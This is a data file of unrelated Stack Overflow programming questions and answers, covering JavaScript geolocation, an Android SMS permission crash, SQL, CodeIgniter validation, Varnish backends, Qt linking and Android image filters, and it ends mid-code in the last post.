37371727	0	Same code in Codepen giving diffferent results <p>I have this pen: <a href="https://codepen.io/dteiml/full/PNMwZo" rel="nofollow">https://codepen.io/dteiml/full/PNMwZo</a> with the following javascript code: </p> <pre><code>$('#getWeather').on('click', function() { navigator.geolocation.getCurrentPosition(success); function success(pos){ // get longitude and latitude from the position object passed in var lng = pos.coords.longitude; var lat = pos.coords.latitude; // and presto, we have the device's location! console.log("test"); $('body').html('You appear to be at longitude: ' + lng + ' and latitude: ' + lat); } }); </code></pre> <p>and html code:</p> <pre><code>&lt;button id="getWeather"&gt; Get my location &lt;/button&gt; &lt;body&gt; &lt;/body&gt; </code></pre> <p>that I forked from somebody that works and one that I created myself <a href="http://codepen.io/dteiml/full/aNevrE" rel="nofollow">http://codepen.io/dteiml/full/aNevrE</a> with the <em>same exact</em> code and settings that doesn't work. What might be the problem?</p>
38064565	0	App crashes on sendText method <p>I am developing my first android app where someone can send multiple sms to a designated number. The app used to run fine when I had the number and number of messages to be sent already programmed into the code. However, I created a separate activity where one can input the destination number and number of messages to be sent, and transfer that data back to the first activity through an intent. But now the app crashes upon attempting to send a message.</p> <p>Here is the first activity: </p> <pre><code>public class TextMessages extends AppCompatActivity { public static final String DEFAULT = "No Number Found"; private EditText customMessage; String gotNum; FloatingActionButton button; int request_code; String realnum; int temp; int recode; Button butt; int number; String num; String text; int x; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_text_messages); request_code = 1; FloatingActionButton button = (FloatingActionButton) findViewById(R.id.but); assert button != null; button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent(TextMessages.this,Settings.class); startActivityForResult(intent, request_code); Intent a = new Intent(TextMessages.this,Settings.class); startActivityForResult(a, recode); } }); customMessage = (EditText)findViewById(R.id.customMessage); } public void onActivityResult(int requestCode, int resultCode, Intent data){ if (requestCode== request_code){ if (resultCode== Activity.RESULT_OK){ num = data.getStringExtra("value"); text = data.getStringExtra("cost"); } } } public void sendText(View view) { String message = ""; if (view.getId() == R.id.fab) { message = customMessage.getText().toString(); } else { Button sender = (Button)view; message = sender.getText().toString(); } //Toast.makeText(this, "Test", Toast.LENGTH_SHORT).show(); int i; x = Integer.parseInt(text); for (i = 0; i &lt; x; i++){ SmsManager smsManager = SmsManager.getDefault(); smsManager.sendTextMessage(num, null, message, null, null); } }} </code></pre> <p>As you can see I have replaced the predetermined number with String num and the number of messages to be sent with int x, which causes the app to crash when the button to send the messages is pressed.</p> <p>Here is the activity where the number and messages to be sent is collected from:</p> <pre><code>public class Settings extends AppCompatActivity { public EditText phoneNum; public Button apply; public EditText msgCounter; public Button save; int msgCount; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_settings); phoneNum = (EditText)findViewById(R.id.phoneNum); msgCounter = (EditText)findViewById(R.id.msgCount); apply = (Button)findViewById(R.id.butto); save = (Button)findViewById(R.id.butt); save.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent pass = new Intent(); pass.putExtra("value", phoneNum.getText().toString()); pass.putExtra("cost",msgCounter.getText().toString()); setResult(Activity.RESULT_OK,pass); finish(); } }); } public void OnButtonClickedApply(View view) { String num; num = phoneNum.getText().toString(); //Toast.makeText(this, num, Toast.LENGTH_SHORT).show(); } public void saveMsg(View view) { msgCount = Integer.parseInt(msgCounter.getText().toString()); } } </code></pre> <p>Also I may add, when inputting data into the second activity. Upon pressing the button to save the data, the activity resets(reloads?) and I have to put the data in a second time, when pressing the button will then take me back to the first activity like it should.</p> <p>Crash Log: </p> <pre><code>06-27 19:14:55.583 2404-2404/com.linfirmware.emergencytext E/AndroidRuntime: FATAL EXCEPTION: main Process: com.linfirmware.emergencytext, PID: 2404 java.lang.IllegalStateException: Could not execute method for android:onClick at android.support.v7.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:293) at android.view.View.performClick(View.java:5198) at android.view.View$PerformClick.run(View.java:21147) at android.os.Handler.handleCallback(Handler.java:739) at android.os.Handler.dispatchMessage(Handler.java:95) at android.os.Looper.loop(Looper.java:148) at android.app.ActivityThread.main(ActivityThread.java:5417) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616) Caused by: java.lang.reflect.InvocationTargetException at java.lang.reflect.Method.invoke(Native Method) at android.support.v7.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:288) at android.view.View.performClick(View.java:5198) at android.view.View$PerformClick.run(View.java:21147) at android.os.Handler.handleCallback(Handler.java:739) at android.os.Handler.dispatchMessage(Handler.java:95) at android.os.Looper.loop(Looper.java:148) at android.app.ActivityThread.main(ActivityThread.java:5417) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616) Caused by: java.lang.SecurityException: Sending SMS message: uid 10057 does not have android.permission.SEND_SMS. at android.os.Parcel.readException(Parcel.java:1599) at android.os.Parcel.readException(Parcel.java:1552) at com.android.internal.telephony.ISms$Stub$Proxy.sendTextForSubscriber(ISms.java:768) at android.telephony.SmsManager.sendTextMessageInternal(SmsManager.java:310) at android.telephony.SmsManager.sendTextMessage(SmsManager.java:293) at com.example.rahul.customtext.TextMessages.sendText(TextMessages.java:94) at java.lang.reflect.Method.invoke(Native Method) at android.support.v7.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:288) at android.view.View.performClick(View.java:5198) at android.view.View$PerformClick.run(View.java:21147) at android.os.Handler.handleCallback(Handler.java:739) at android.os.Handler.dispatchMessage(Handler.java:95) at android.os.Looper.loop(Looper.java:148) at android.app.ActivityThread.main(ActivityThread.java:5417) at java.lang.reflect.Method.invoke(Native Method) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616) 06-27 19:14:57.765 2404-2404/com.linfirmware.emergencytext I/Process: Sending signal. PID: 2404 SIG: 9 </code></pre> <p>Manifest file:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.rahul.customtext"&gt; &lt;uses-permission android:name="android.permission.SEND_SMS" /&gt; &lt;application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:supportsRtl="true" android:theme="@style/AppTheme"&gt; &lt;activity android:name=".TextMessages"&gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.MAIN" /&gt; &lt;category android:name="android.intent.category.LAUNCHER" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;activity android:name=".Settings" android:label="@string/app_name"&gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.MAIN" /&gt; &lt;category android:name="android.intent.category.DEFAULT" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;/application&gt; &lt;/manifest&gt; </code></pre>
15882930	0	 <p><kbd><strong><a href="http://jsbin.com/itepap/3/edit" rel="nofollow">LIVE DEMO</a></strong></kbd></p> <p><code>$(this).addClass('myClass');</code> would work but use:</p> <pre><code>var img = $("&lt;img /&gt;", { "src" : '/images/favicon.png', "class" : 'myClass' }) .error(function(){ console.log('error'); }) .load(function(){ img.appendTo( theParent ); }); </code></pre>
2497751	0	 <p>Note that everytime you pass a struct to a function as a parameter, or assign one variable to another, or in your case, add it to a list, a copy of the entire struct is created (in your case, 20 bytes will be copied).</p> <p>Also note that there are no GC references to structs expect (I think) in some circumstances.</p> <hr> <p>You will only get memory savings if you use a class instead of a struct - that way you can test for equality like you suggest.</p>
20511734	0	 <p>it looks complex but its simpler either</p> <pre><code>select * from (select event.id, event.title, schedule.event_date, schedule.price, event_id from schedule left join event on event.id=schedule.event_id group by event_date,event_id )s group by s.event_id; </code></pre>
28832150	0	 <p>Late answer , but maybe someone is struggling with this... here is what I found:</p> <p><a href="http://stackoverflow.com/questions/3652331/asp-net-application-throwing-unable-to-find-assembly-error-for-nhibernate">Similar error on this question, which leads to some options</a>.</p> <p>Looks like the real error is hidden from you. </p> <p>1) You need to either use <a href="http://www.microsoft.com/en-us/download/details.aspx?id=40336" rel="nofollow">IIS Debug tool</a></p> <p>2) <a href="http://unhandledexception.codeplex.com/sourcecontrol/latest" rel="nofollow">Or build and use a module</a> to get the details.</p>
12545561	0	How can I use HTML5 to both record audio (speech) and convert the recorded speech into text? <p>I have a project in mind where I want users to record speech in a browser. I know that for recording audio I can use getUserMedia and for speech to text input I can use x-webkit-speech. I'm OK with the browser limitation. Is there a way that I can do this in a single step? </p> <p>I'd prefer an HTML5 solution, but I'm willing to go with javascript if that's the only way to do it. I'm also willing to consider server side solutions if necessary (LAMP environment). This would likely be only accessed on a laptop/desktop browser, but if I can also make it compatible with mobile devices, that would be great, too. </p>
25083419	0	 <p>You can do</p> <pre><code>CREATE FOREIGN TABLE cases( id varchar(50) PRIMARY KEY, CaseId varchar(50), CaseAddressString varchar(50), CaseOpenDatetime date, CaseBeginDatetime date, CaseDescription varchar(200), RequestorFirstName varchar(50), RequestorLastName varchar(50), CaseCurrentStatus varchar(25), age integer, gender varchar(20), CaseLat float, CaseLong float, ServiceName varchar(50) ) OPTIONS(UPDATABLE 'TRUE'); CREATE FOREIGN TABLE CasePhoneNumbers ( caseid varchar, type string, number string, FOREIGN KEY (caseid) REFERENCES cases (_id) ) OPTIONS(UPDATABLE 'TRUE', "teiid_mongo:MERGE" 'cases') </code></pre> <p>You can see more documentation at <a href="https://docs.jboss.org/author/display/TEIID/MongoDB+Translator" rel="nofollow">https://docs.jboss.org/author/display/TEIID/MongoDB+Translator</a></p> <p><a href="https://issues.jboss.org/browse/TEIID-3040" rel="nofollow">https://issues.jboss.org/browse/TEIID-3040</a> removes th verbose IDREF fields, but this will be in Teiid 8.9</p>
23597454	0	 <p>If you are using a 11G R2, you could use listagg function. If not, it will be easy to find a different way</p> <pre><code> With distrib as (select O as dabegin, 17 as daend, 'under 18' as category from dual union all select 18 as dabegin ,25 as daend, 'between 18-25' as category from dual union all select 26 as dabegin ,30 as daend, 'between 26-30' as category from dual ) , games as (select p.player_id, count(*) as games_played from player p join game g on p.player_id = g.player1_id or p.player_id = g.player2_id group by p.player_id) select max(games_played), listagg(player_id,',') WITHIN GROUP (ORDER BY player_id) as 'winner(s)', category from distrib d, games g, players p where p.player_id=g.player_id and g. age between d.dabegin and daend group by g.category </code></pre>
21932583	0	Codeigniter error Unable to load the requested file 0.php but theres no such file <p>I am new to Codeigniter and it is throwing the error: <em>unable to load the requested file 0.php</em></p> <p>But there's no such file! I don't understand why its doing this?</p> <p>As a result of this error, the homepage of my site has vanished. All the other pages are accessible and work except for the homepage. </p> <p>I don't know where I'm supposed to look, whether its the view files or the controller files?</p> <p>Can anyone shed any light on this? </p>
38060747	0	 <p><strong>Change</strong> this to (<strong><em>Best Practices</em></strong>) </p> <pre><code>if ($this-&gt;form_validation-&gt;run() == TRUE) </code></pre> <p>this</p> <pre><code>if ($this-&gt;form_validation-&gt;run() == FALSE) </code></pre> <blockquote> <p><strong>Since you haven’t told the Form Validation class to validate anything yet, it returns FALSE (boolean false) by default. <code>The run()</code> method only returns TRUE if it has successfully applied your rules without any of them failing.</strong></p> </blockquote> <p><a href="https://www.codeigniter.com/userguide3/libraries/form_validation.html#try-it" rel="nofollow">Check Why</a></p> <hr> <p><strong>Add this in controller</strong></p> <pre><code>$this-&gt;form_validation-&gt;set_error_delimiters('&lt;div class="alert alert-danger alert-dismissible" role="alert"&gt; &lt;button type="button" class="close" data-dismiss="alert" aria-label="Close"&gt;&lt;span aria-hidden="true"&gt;&amp;times;&lt;/span&gt;&lt;/button&gt;', '&lt;/div&gt;'); </code></pre> <p>and <strong>remove this</strong> </p> <pre><code>echo validation_errors('&lt;div class="alert alert-danger alert-dismissible" role="alert"&gt; &lt;button type="button" class="close" data-dismiss="alert" aria-label="Close"&gt;&lt;span aria-hidden="true"&gt;&amp;times;&lt;/span&gt;&lt;/button&gt;', '&lt;/div&gt;'); </code></pre> <p><a href="https://www.codeigniter.com/userguide3/libraries/form_validation.html#changing-the-error-delimiters" rel="nofollow">Check Why</a></p> <hr> <p><strong>Add this in form below the respective input fields</strong> </p> <pre><code>echo form_error('usuario'); echo form_error('senha'); </code></pre> <p>Or add </p> <pre><code>&lt;?php echo validation_errors(); ?&gt; </code></pre> <p><a href="https://www.codeigniter.com/userguide3/libraries/form_validation.html#showing-errors-individually" rel="nofollow">Check Why</a></p> <hr> <p><a href="https://www.formget.com/form-validation-using-codeigniter/" rel="nofollow">CodeIgniter Form Validation Example</a></p>
40488664	0	How to setup GitLab - Debian 8 <p>I am executing the below command, however i get an error. Someone please assist.</p> <pre><code># curl https://packages.gitlab.com/gitlab/gitlab-ce/packages/debian/jessie/gitlab-ce_8.1.2-ce.0_amd64.deb/download curl: (60) SSL certificate problem: certificate is not yet valid </code></pre> <p>If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL).</p>
15721987	0	flash website content box hiding the menu <p>My website is: <a href="http://harringtonplanningdesign.com" rel="nofollow">http://harringtonplanningdesign.com</a> When I move the cursor on the flash box the menu is disappearing. How can I keep the menu from hiding when the cursor is on the flash content box? That means I do not want to hide the menu when the mouse is moved.</p> <p>The home page code is here:</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;Harrington Planning + Design&lt;/title&gt; &lt;script type="text/javascript" src="com/swfobject/swfobject.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="com/swfaddress/swfaddress.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="com/pixelbreaker/swfmacmousewheel.js"&gt;&lt;/script&gt; &lt;style type="text/css"&gt; html { height: 100%; overflow: hidden; overflow-y: hidden; } #flashcontent { height: 100%; } body { height: 100%; margin: 0; padding: 0; background-color: #FFFFFF; overflow-y: hidden; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="flashcontent"&gt; &lt;/div&gt; &lt;script type="text/javascript"&gt; // &lt;![CDATA[ var so = new SWFObject('container.swf', 'container', '100%', '100%', '9', '#FFFFFF'); so.useExpressInstall('com/swfobject/expressinstall.swf'); so.addParam('allowFullScreen','true'); so.addParam('menu','false'); if( so.write('flashcontent') ) { var macmousewheel=new SWFMacMouseWheel(so); } // ]]&gt; &lt;/script&gt; &lt;/body&gt; </code></pre> <p></p>
28110474	0	Should I add publish_actions for review after migrating old app to Graph API v2.2? <p>I've been updating few web apps to the latest Facebook Graph API - v2.2. Those sites work and some of them have opengraph action video.watches ("Watch"). It's approved and works.</p> <p>Recently I got a generic Facebook email that one or more of my apps are using permissions that have to be reviewed or they will stop working on some date. As those apps are quite old they don't have publish_actions in the review set (and that's the only extra permission in that video.watches websites). So now - does Facebook wants that publish_actions to be added to the review or it's something else (they could be more specific)?</p>
4616971	0	 <p>You should be able to do this with <a href="http://mechanize.rubyforge.org/" rel="nofollow">mechanize</a>. It emulates a real broswer, and is quite powerful. About the only major feature lacking is a javascript engine, so it won't work if the blog uses javascript in its authentication.</p>
18144503	1	Non camel case to Camel Case in python 3? <p>This program is meant to change something from normal to camelCase. EG: Not_Camel_case -> notCamelCase or Camel_Case to camelCase.</p> <pre><code>def titlecase(value): return "".join(word.title() for word in value.split("_")) def titlecase2(value): return value[:1].lower() + titlecase(value)[1:] def to_camel(value): return titlecase2(value) </code></pre> <p>This outputs what i want BUT..... This is for a competition and putting in Not_An_SMS returns notAnSms instead of notAnSMS? Also putting in num2words is supposed to return the same but instead my program capitalizes it like num2Words. What do i do to fix these problems?</p> <p>EDIT: I have to change things within the functions not the output as the comp directly checks the functions in particular to_camel.</p>
11560960	0	 <p>There are a lot of workarounds provided in other answers; they more or less solve your problem. One more workaround:</p> <pre><code>foreach (string name in a.Keys){ StackPanel SP = new StackPanel(); TextBox TB1 = new TextBox(); TextBox TB2 = new TextBox(); SP.Children.Add(TB1); SP.Children.Add(TB2); // ... Content to TextBoxes TB2.Name = name; MainCheckBox.Clicked += (sender, e) =&gt; { TB2.Height = MainCheckBox.IsChecked ? 300 : 0; } } </code></pre> <p>But let's see what should be the correct way.</p> <p>First of all, you need the data items to be presented in a bindable form. This means either derive from <code>DependencyObject</code> or implement <code>INotifyPropertyChanged</code>. Second, you need to put your objects into an <code>ObservableCollection</code>. Then, you can use different containers like <code>ListView</code> or <code>ListBox</code> for displaying the collection of data. For the type representing the data item, you'd need to create a <code>DataTemplate</code>, in which you can put any custom logic you need.</p> <p>You see that this is quite a lot of work, so I wouldn't recommend this approach for really small applications; however as your application grows, this approach will show its benefits.</p>
20888726	0	 <p>Well, if your old one is working then the problem will be in your rewrite. Don't pay too much notice to the error messages, they're pretty much par for the course, and can be triggered by something as benign as a cache miss. Unless you're actually getting an error callback somewhere, the log messages are meaningless.</p> <p>As for your problem, I can't really make any guesses without seeing your code. One thing to check and is the most common course of a permanent error is to make sure you're actually logged in. The login process is asynchronous, and any functionality that requires you to be logged in (searching is one of them) will fail before login is completed.</p>
40117551	0	How to enter values, save them to a new file and search for the values in the file <p>I have a school assignment that I need help with. This is the description of the assignment:</p> <p>Ruby program that can hold these values:</p> <ul> <li>Artifacts</li> <li>Values</li> <li>Assumptions</li> </ul> <p>It shall be possible for a user:</p> <ul> <li>To enter these three types of values.</li> <li>Search for a value of type Artifacts, Values or Assumptions.</li> <li>The program shall use loops and at least one class definition.</li> </ul> <p>The only function that won't work out for me are these lines:</p> <pre><code>f= File.new("Artefacts", "r") puts "Search for information regarding cultural information" userinput = gets.chomp if File.readlines("Artefacts").include?('userinput') puts "We have found your input." else puts "We have not found your input." f.close </code></pre> <p>No matter what the user inserts, it only displays "We have not found your input".</p>
31313372	0	 <p>View the line as (x1,y1) + λ(x2-x1,y2-y1), i.e. the first point, plus a multiple of the vector between them.</p> <p>When λ=0 you have the first point and when λ=1 you have the second. So you just want to take n equally distributed values of λ between 0 and 1.</p> <p>How you do this depends on what you mean by between: are the end points included or not?</p> <p>For example you could take λ=0/(n-1), λ=1/(n-1), λ=2/(n-1), ... λ=(n-1)/(n-1). That would give n equally distributed points including the endpoints.</p> <p>Or you could take λ=1/(n+1), λ=2/(n+1), ... λ=n/(n+1). That would give n equally distributed points not including the endpoints.</p>
298659	0	SqlMembershipProvider administration <p>Before I embark on writing my own solution to this issue, can anyone point me to a pre-built solution for managing standard user details when using the SqlMembershipProvider? The solutions I have found through Google seem to either be half baked 'example solutions' or unsuitable for every day usage.</p> <p>Regards Richard</p>
31693760	0	 <p>try,</p> <pre><code>declare @t table(CarName varchar(10),Colour varchar(10), Size varchar(10)) insert into @t (carname,Colour,Size) values ('Car 1', 'Red', 'big'), ('car 2','Blue','small'), ('car 3','Gr een','small') declare @t1 table(CarName varchar(10),part varchar(10)) insert into @t1 (carname,part) values ('car 1','123456'), ('car 1','2345670'), ('car 1','345678'), ('car 2','ABCDEFG'), ('car 2','BcDEFGH'), ('car 2','cDEFGHI') select t.*, t1.part from @t t right join (select carname,part, row_number() over (partition by carname order by part) rno from @t1) t1 on t.CarName=(case when t1.rno=1 then t1.CarName else null end) </code></pre>
18366921	0	 <p>I ended up discussing the situation with InstallShield (made by FlexEra) and they recommended the following:</p> <ol> <li>Don't put the original file in the [InstallDir] if possible.</li> <li>Create separate Components for each of the variants of the file, each with a different release flag.</li> <li>Only install the Components associated with the release flag you want.</li> </ol> <p>This partially addresses my question but not entirely, because it doesn't let me specify a new file at install-time; I can merely select among existing files.</p>
3022083	0	 <p>there is generally no need to access the CPU registers from a program written in a high-level language: high-level languages, like C, Pascal, etc. where precisely invented in order to abstract the underlying machine and render a program more machine-independent. </p> <p>i suspect you are trying to perform something but have no clue how to use a conventional way to do it.</p> <p>many access to the registers are hidden in higher-level constructs or in system or library calls which lets you avoid coding the "dirty-part". tell us more about what you want to do and we may suggest you an alternative.</p>
21211994	0	 <p>First: add status as an index on the database table, this will speed up the select portion of the script.</p> <p>Second: concatenate the string, rather than issuing an echo statement each time, echo * 4000 can be quite slow.</p> <pre><code>$query = "SELECT * FROM tblRazduzeniUgovori WHERE Status='razduzen'"; $output = ''; if ($result = mysqli_query($con, $query)) { while($row = mysqli_fetch_array($result)) { $output .= "&lt;tr&gt;"; $output .= "&lt;td&gt;&lt;input type='checkbox' name='brojUgovora[]' value='" . $row['Broj'] . "'/&gt;&lt;/td&gt;"; } } echo $output; </code></pre>
21164629	0	 <p>To use recursion you should have a <strong>stop test</strong> and be sure to always launch the next step on a <strong>smaller problem</strong>. </p> <p>Try this : (Not sure if Array.SubArray(int) is a real function but that is the idea.</p> <pre><code>static void Main(string[] args) { int[] Array=new int[]{10,233,34}; int _MaxVal = CalculateMax(Array); Console.WriteLine(_MaxVal); Console.ReadKey(); } private static int CalculateMax(int[] Array) { if (Array.Length &gt; 0) { int maxSubArray = CalculateMax(Array.SubArray(1)); // Use recursive function on the SubArray starting at index 1 (that the smaller problem) if (maxSubArray &gt; Array[0]) { return maxSubArray; } else { return Array[0]; } } else { return 0; // Stop test } } </code></pre> <p><strong>Note</strong> : it will not work with negative value.</p>
41051163	0	 <p>Your best bet will be to learn Objective-C. It's not difficult to pick up, especially if you already have a strong understanding of C. (It's a much smaller and simpler extension of C than C++, for instance.)</p> <p>Your options other than that are quite limited:</p> <ul> <li><p>There's Carbon, Apple's legacy C framework for UI development. <strong>Using it is not recommended</strong>. Carbon was never updated to support 64-bit applications, and lacks many features that have been added to Cocoa since the 64-bit transition (~2005). It's also very awkward to write an application in, as it was designed in large part to ease porting of applications written for Classic Mac OS.</p></li> <li><p>There's also X11, with an appropriate UI library like GTK. <strong>I wouldn't recommend this either</strong>. Neither X11 nor any UI libraries for it are installed by default -- they must be installed by the user -- and applications which use X11 have a significantly different interface from native applications.</p></li> <li><p>A third-party UI library. Most of the ones I can think of offhand (QT, wxWidgets, and FLTK) require C++, though. <a href="https://www.gtk.org/download/macos.php" rel="nofollow noreferrer">GTK+</a> does have a C interface and natively supports a macOS interface, but it's not particularly native.</p></li> <li><p>A library specific to your use case. Impossible to recommend one without knowing more about what you're trying to do.</p></li> <li><p>Nothing. That's right, nothing at all. If you just need to let the user view an image, you can save it to a file and use the <code>open</code> command-line tool to open it in the Preview application. It's janky, but it's also really easy.</p></li> </ul>
41007395	0	 <p>Technically they are both different versions of bcrypt or crypt-blowfish</p> <p>in php the prefix is $2y$10$ in python the prefix is $2b$11$</p> <p>This means the cost factors are slightly different 10 vs 11 respectively in your update you have fixed the cost factors to both be 11</p> <p>The other part of the prefix indicates php is using the CRYPT_BLOWFISH hashing where python is using bcrypt which is based on the Blowfish cipher.</p> <p>Because of those differences the 2 passwords are not interchangeable.</p>
646232	0	/usr/bin/ld: cannot find -lfreetype qt <p>Compiling on Fedora 10.</p> <p>I am using qt for the first time. I started by creating a simple GUI application with all the default settings. When I tried to build the project I got the following error messages.</p> <p>However, when I did a search for -lfreetype I found it in the following directory. /usr/lib/libfreetype.so.6 /usr/lib/libfreetype.so.6.3.18</p> <p>Is there anyway to resolve this issue?</p> <p>Many thanks for any advice</p> <pre><code>Running build steps for project test1... Creating gdb macros library... Configuration unchanged, skipping QMake step. Starting: /usr/bin/make debug -w make: Entering directory `/home/steve/projects/qt/test1/test1' /usr/bin/make -f Makefile.Debug make[1]: Entering directory `/home/steve/projects/qt/test1/test1' g++ -Wl,-rpath,/opt/qtsdk-2009.01/qt/lib -o test1 debug/main.o debug/mainwindow.o debug/moc_mainwindow.o -L/opt/qtsdk-2009.01/qt/lib -lQtGui -L/opt/qtsdk-2009.01/qt/lib -L/usr/X11R6/lib -pthread -lfreetype -lgobject-2.0 -lSM -lICE -pthread -pthread -lXrender -lfontconfig -lXext -lX11 -lQtCore -lm -pthread -lgthread-2.0 -lrt -lglib-2.0 -ldl -lpthread /usr/bin/ld: cannot find -lfreetype collect2: ld returned 1 exit status make[1]: *** [test1] Error 1 make[1]: Leaving directory `/home/steve/projects/qt/test1/test1' make: *** [debug] Error 2 make: Leaving directory `/home/steve/projects/qt/test1/test1' Exited with code 2. Error while building project test1 When executing build step 'Make' </code></pre>
19297928	0	 <p><code>IF</code> needs 3 arguments. You've only provided 2. Change your sql to something like:</p> <pre><code> $sql = 'SELECT if(turnier = "Company Friends", "Company", "Something here"), ... </code></pre> <p>First one is condition, second will be returned if condition is satisfied, third if not.</p>
12068432	0	Multiple virtual hosts via Varnish, incorrect backend if served <p>I have several backends set up, each one is detected in the VCL and then the correct set up applied. This works for some of the sites, but a few get pointed to the same site. </p> <p>I have read this and applied this, it works for some, but not for others.</p> <p><a href="http://stackoverflow.com/questions/3334023/configure-multiple-sites-with-varnish">Configure multiple sites with Varnish</a></p> <p>For example I have some backends defined:</p> <pre><code>backend site4 { .host = "127.0.0.1"; .port = "81"; } backend site3 { .host = "127.0.0.1"; .port = "81"; } backend site2 { .host = "127.0.0.1"; .port = "81"; } backend site1 { .host = "127.0.0.1"; .port = "81"; } </code></pre> <p>Then in <code>vcl_recv</code> I set the host and the correct backend:</p> <pre><code>if (req.http.host ~ "(?i)^(www.)?site1.co.uk") { set req.http.host = "www.site1.co.uk"; set req.backend = site1; } elsif (req.http.host ~ "(?i)^(www.)?site2.co.uk") { set req.http.host = "www.site2.co.uk"; set req.backend = site2; } elsif (req.http.host ~ "(?i)^(www.)?site3.com") { set req.http.host = "www.site3.com"; set req.backend = site3; } elsif (req.http.host ~ "(?i)^(www.)?site4.net") { set req.http.host = "www.site4.net"; set req.backend = site4; } </code></pre> <p>www.site1.co.uk works, as does www.site2.co.uk, but www.site3.com and www.site4.net both show the content for www.site2.co.uk - it's like its ignoring my backend and just using the same one for certain sites.</p> <p>The host is set correctly, because if I do:</p> <pre><code>curl -I http://site3.com </code></pre> <p>when using the following in <code>vcl_fetch</code></p> <pre><code>set beresp.http.X-Host = req.http.host; </code></pre> <p>I can see the host is correctly set as www.site3.com</p> <p>Any ideas anyone?</p> <p>Side note, is there a shorter method of defining my backends?</p>
2471268	0	 <p>How about just use the old routing rules and append .xml1/.xml2/.json1/.json2 to the end? That way you can reuse your current modules and only need to create a new view ("indexSuccess.xml1.php").</p> <p>Or create a new routing class?</p>
34425507	0	android gpu image rendering issue <p>I'm currently building an android app to apply filter on a bmp. I'm using the gpuimage lib. How it's done is that the bmp is show in a ListView which contain 8 filters. When scrolling down/up, we request the filtering of the bmp (b&amp;w, sepia...). As the rendering take times, I display in my listview the original bmp and it's replace by the filtered image once done</p> <p>Here is how the activity do it.</p> <pre><code>private ListView mFiltersView; private void FiltersPreview(final Bitmap mBmp) { boolean mPreview = true; mPreviewBitmap = resizeBitmap(mBmp); mCameraImageFiltersAdapter = new CameraImageFiltersAdapter(this, mPreviewBitmap, mPreview); mFiltersView.setAdapter(mCameraImageFiltersAdapter); mFiltersView.setOnItemClickListener(new AdapterView.OnItemClickListener() { public void onItemClick(AdapterView&lt;?&gt; parent, View v, int position, long id) { mCameraImageFiltersAdapter.cancel(); mFiltersView.cancelPendingInputEvents(); mFiltersView.setAdapter(null); final CameraFiltersFactory effect = (CameraFiltersFactory) v.findViewById(R.id.filteredImage).getTag(); BufferAnimationDrawable Loading = new BufferAnimationDrawable(getBaseContext()); Loading.setPrimaryColor(0xfffb633e); LoadingScreen.setImageDrawable(Loading); LoadingScreen.setVisibility(View.VISIBLE); mFiltersView.setVisibility(View.GONE); getActionBar().hide(); if(mBmp == null) Log.d(TAG,"mBitmap is null"); effect.save(mBmp, position, new GPUImage.OnPictureSavedListener() { @Override public void onPictureSaved(Uri uri) { final Intent previewIntent = new Intent(FiltersSelectionActivity.this, PicturePreviewActivity.class); previewIntent.setData(uri); previewIntent.setAction(mActionTypes.toString()); previewIntent.putExtra("Type", "Filtered"); startActivityForResult(previewIntent, 0); } }); } }); } </code></pre> <p>The mCameraImageFiltersAdapter is defined as :</p> <pre><code> public CameraImageFiltersAdapter(/*Activity activity, */Context c, Bitmap current, boolean isPreview) { mContext = c; mPreview = isPreview; mCurrentBitmap = current; mFilterIds = CAMERA_IMAGE_FILTERS == null || CAMERA_IMAGE_FILTERS.length == 0 ? mFilterIds : CAMERA_IMAGE_FILTERS; mFakeBitmap = mCurrentBitmap; mFakeBitmap.setDensity(0); mExecutorService = Executors.newFixedThreadPool(5); } private final Handler handler = new Handler();// handler to display images public int getCount() { return mFilterIds.length; } public long getItemId(int position) { return 0; } public Object getItem(int position) { return null; } @Override public int getViewTypeCount() { return mFilterIds.length; } @Override public int getItemViewType(int position) { return position; } final int stub_id = R.drawable.filter_preview_stub; public ImageView filteredImage = null; public TextView filteredText = null; @SuppressLint("InflateParams") public View getView(int position, View convertView, ViewGroup parent) { mPosition = position; if (convertView == null) { convertView = LayoutInflater.from(mContext).inflate(R.layout.list_item_filter, null); filteredImage = (ImageView) convertView.findViewById(R.id.filteredImage); filteredImage.setImageBitmap(mFakeBitmap); filteredText = (TextView) convertView.findViewById(R.id.textview); queueFiltered(filteredImage, mPosition, filteredText); } return convertView; } private void queueFiltered(final ImageView view, final int position, final TextView text) { final CameraFiltersFactory holder = new CameraFiltersFactory(mContext, view, text); if(holder != null) mExecutorService.submit(new FilterLoader(holder, position)); } public void cancel() { if(mExecutorService != null) mExecutorService.shutdownNow(); } </code></pre> <p>The CameraFilterFactoy is just a easy to use class to access to the GPUImage</p> <pre><code> public class CameraFiltersFactory { private static final String TAG = CameraFiltersFactory.class.getSimpleName(); private final ImageView mImageView; private final GPUImage mCameraImage; private Bitmap mFilteredBitmap; private int 